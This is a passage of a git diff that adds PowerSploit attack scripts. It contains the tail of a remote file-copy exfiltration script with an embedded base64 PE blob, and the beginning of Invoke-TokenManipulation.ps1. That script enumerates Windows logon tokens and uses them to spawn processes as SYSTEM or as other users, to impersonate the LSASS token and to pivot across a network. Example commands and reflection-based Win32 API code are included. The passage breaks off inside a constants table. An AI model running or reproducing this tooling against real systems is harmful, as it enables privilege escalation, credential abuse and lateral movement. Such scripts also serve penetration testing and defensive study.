AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + [UInt64]$Offset = 0 + + + if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") + { + if ($PsCmdlet.ParameterSetName -ieq "LocalDest") + { + $RemoteDestination = $LocalDestination #More efficient when using $RemoteDestination, only opens read handle once + } + + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes32, $PEBytes64, $Path, $RemoteDestination, $BufferSize, $Offset) + } + else + { + if ($PsCmdlet.ParameterSetName -ieq "LocalDest") + { + $RemoteDestination = $null + } + + #If localdestination, loop and increment offset until the entire file is read + do + { + $Result = Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes32, $PEBytes64, $Path, $RemoteDestination, $BufferSize, $Offset) -ComputerName $ComputerName + if ($Result -eq $null) + { + return $null + } + $BytesLeft = $Result.BytesLeft + + $FileStream = New-Object System.IO.FileStream $LocalDestination,([System.IO.FileMode]::Append) + $FileStream.Seek(0, [System.IO.SeekOrigin]::End) | Out-Null + $FileStream.Write($Result.Bytes, 0, $Result.BytesRead) | Out-Null + $FileStream.Flush() | Out-Null + $FileStream.Dispose() | Out-Null + $FileStream = $null + + $Offset += $Result.BytesRead + + Write-Verbose "Copied $Offset bytes. $BytesLeft Bytes remaining" + } while ($Result.BytesLeft -gt 0) + } +} + +Main + +[GC]::Collect() +[GC]::Collect() +} diff --git a/Exfiltration/Invoke-TokenManipulation.ps1 b/Exfiltration/Invoke-TokenManipulation.ps1 new file mode 100644 index 0000000..8c8b7b4 --- /dev/null +++ b/Exfiltration/Invoke-TokenManipulation.ps1 @@ -0,0 +1,1883 @@ +function Invoke-TokenManipulation +{ +<# +.SYNOPSIS + +This script requires Administrator privileges. It can enumerate the Logon Tokens available and use them to create new processes. This allows you to use +anothers users credentials over the network by creating a process with their logon token. This will work even with Windows 8.1 LSASS protections. +This functionality is very similar to the incognito tool (with some differences, and different use goals). + +This script can also make the PowerShell thread impersonate another users Logon Token. Unfortunately this doesn't work well, because PowerShell +creates new threads to do things, and those threads will use the Primary token of the PowerShell process (your original token) and not the token +that one thread is impersonating. Because of this, you cannot use thread impersonation to impersonate a user and then use PowerShell remoting to connect +to another server as that user (it will authenticate using the primary token of the process, which is your original logon token). + +Because of this limitation, the recommended way to use this script is to use CreateProcess to create a new PowerShell process with another users Logon +Token, and then use this process to pivot. This works because the entire process is created using the other users Logon Token, so it will use their +credentials for the authentication. + +IMPORTANT: If you are creating a process, by default this script will modify the ACL of the current users desktop to allow full control to "Everyone". +This is done so that the UI of the process is shown. If you do not need the UI, use the -NoUI flag to prevent the ACL from being modified. This ACL +is not permenant, as in, when the current logs off the ACL is cleared. It is still preferrable to not modify things unless they need to be modified though, +so I created the NoUI flag. ALSO: When creating a process, the script will request SeSecurityPrivilege so it can enumerate and modify the ACL of the desktop. +This could show up in logs depending on the level of monitoring. + + +PERMISSIONS REQUIRED: +SeSecurityPrivilege: Needed if launching a process with a UI that needs to be rendered. Using the -NoUI flag blocks this. +SeAssignPrimaryTokenPrivilege : Needed if launching a process while the script is running in Session 0. + + +Important differences from incognito: +First of all, you should probably read the incognito white paper to understand what incognito does. If you use incognito, you'll notice it differentiates +between "Impersonation" and "Delegation" tokens. This is because incognito can be used in situations where you get remote code execution against a service +which has threads impersonating multiple users. Incognito can enumerate all tokens available to the service process, and impersonate them (which might allow +you to elevate privileges). This script must be run as administrator, and because you are already an administrator, the primary use of this script is for pivoting +without dumping credentials. + +In this situation, Impersonation vs Delegation does not matter because an administrator can turn any token in to a primary token (delegation rights). What does +matter is the logon type used to create the logon token. If a user connects using Network Logon (aka type 3 logon), the computer will not have any credentials for +the user. Since the computer has no credentials associated with the token, it will not be possible to authenticate off-box with the token. All other logon types +should have credentials associated with them (such as Interactive logon, Service logon, Remote interactive logon, etc). Therefore, this script looks +for tokens which were created with desirable logon tokens (and only displays them by default). + +In a nutshell, instead of worrying about "delegation vs impersonation" tokens, you should worry about NetworkLogon (bad) vs Non-NetworkLogon (good). + + +PowerSploit Function: Invoke-TokenManipulation +Author: Joe Bialek, Twitter: @JosephBialek +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None +Version: 1.1 + +.DESCRIPTION + +Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread. + +.PARAMETER Enumerate + +Switch. Specifics to enumerate logon tokens available. By default this will only list unqiue usable tokens (not network-logon tokens). + +.PARAMETER RevToSelf + +Switch. Stops impersonating an alternate users Token. + +.PARAMETER ShowAll + +Switch. Enumerate all Logon Tokens (including non-unique tokens and NetworkLogon tokens). + +.PARAMETER ImpersonateUser + +Switch. Will impersonate an alternate users logon token in the PowerShell thread. Can specify the token to use by Username, ProcessId, or ThreadId. + This mode is not recommended because PowerShell is heavily threaded and many actions won't be done in the current thread. Use CreateProcess instead. + +.PARAMETER CreateProcess + +Specify a process to create with an alternate users logon token. Can specify the token to use by Username, ProcessId, or ThreadId. + +.PARAMETER WhoAmI + +Switch. Displays the credentials the PowerShell thread is running under. + +.PARAMETER Username + +Specify the Token to use by username. This will choose a non-NetworkLogon token belonging to the user. + +.PARAMETER ProcessId + +Specify the Token to use by ProcessId. This will use the primary token of the process specified. + +.PARAMETER Process + +Specify the token to use by process object (will use the processId under the covers). This will impersonate the primary token of the process. + +.PARAMETER ThreadId + +Specify the Token to use by ThreadId. This will use the token of the thread specified. + +.PARAMETER ProcessArgs + +Specify the arguments to start the specified process with when using the -CreateProcess mode. + +.PARAMETER NoUI + +If you are creating a process which doesn't need a UI to be rendered, use this flag. This will prevent the script from modifying the Desktop ACL's of the +current user. If this flag isn't set and -CreateProcess is used, this script will modify the ACL's of the current users desktop to allow full control +to "Everyone". + + +.EXAMPLE + +Invoke-TokenManipulation -Enumerate + +Lists all unique usable tokens on the computer. + +.EXAMPLE + +Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system" + +Spawns cmd.exe as SYSTEM. + +.EXAMPLE + +Invoke-TokenManipulation -ImpersonateUser -Username "nt authority\system" + +Makes the current PowerShell thread impersonate SYSTEM. + +.EXAMPLE + +Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500 + +Spawns cmd.exe using the primary token belonging to process ID 500. + +.EXAMPLE + +Invoke-TokenManipulation -ShowAll + +Lists all tokens available on the computer, including non-unique tokens and tokens created using NetworkLogon. + +.EXAMPLE + +Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500 + +Spawns cmd.exe using the token belonging to thread ID 500. + +.EXAMPLE + +Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe" + +Spawns cmd.exe using the primary token of LSASS.exe. This pipes the output of Get-Process to the "-Process" parameter of the script. + +.EXAMPLE + +Get-Process wininit | Invoke-TokenManipulation -ImpersonateUser + +Makes the current thread impersonate the lsass security token. + +.NOTES +This script was inspired by incognito. + +Several of the functions used in this script were written by Matt Graeber(Twitter: @mattifestation, Blog: http://www.exploit-monday.com/). +BIG THANKS to Matt Graeber for helping debug. + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ + +#> + + [CmdletBinding(DefaultParameterSetName="Enumerate")] + Param( + [Parameter(ParameterSetName = "Enumerate")] + [Switch] + $Enumerate, + + [Parameter(ParameterSetName = "RevToSelf")] + [Switch] + $RevToSelf, + + [Parameter(ParameterSetName = "ShowAll")] + [Switch] + $ShowAll, + + [Parameter(ParameterSetName = "ImpersonateUser")] + [Switch] + $ImpersonateUser, + + [Parameter(ParameterSetName = "CreateProcess")] + [String] + $CreateProcess, + + [Parameter(ParameterSetName = "WhoAmI")] + [Switch] + $WhoAmI, + + [Parameter(ParameterSetName = "ImpersonateUser")] + [Parameter(ParameterSetName = "CreateProcess")] + [String] + $Username, + + [Parameter(ParameterSetName = "ImpersonateUser")] + [Parameter(ParameterSetName = "CreateProcess")] + [Int] + $ProcessId, + + [Parameter(ParameterSetName = "ImpersonateUser", ValueFromPipeline=$true)] + [Parameter(ParameterSetName = "CreateProcess", ValueFromPipeline=$true)] + [System.Diagnostics.Process] + $Process, + + [Parameter(ParameterSetName = "ImpersonateUser")] + [Parameter(ParameterSetName = "CreateProcess")] + $ThreadId, + + [Parameter(ParameterSetName = "CreateProcess")] + [String] + $ProcessArgs, + + [Parameter(ParameterSetName = "CreateProcess")] + [Switch] + $NoUI + ) + + Set-StrictMode -Version 2 + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + ############################### + #Win32Constants + ############################### + $Constants = @{ + ACCESS_SYSTEM_SECURITY = 0x01000000 + READ_CONTROL = 0x00020000 + SYNCHRONIZE = 0x00100000 + STANDARD_RIGHTS_ALL = 0x001F0000 + TOKEN_QUERY = 8 + TOKEN_ADJUST_PRIVILEGES = 0x20 + ERROR_NO_TOKEN = 0x3f0 + SECURITY_DELEGATION = 3 + 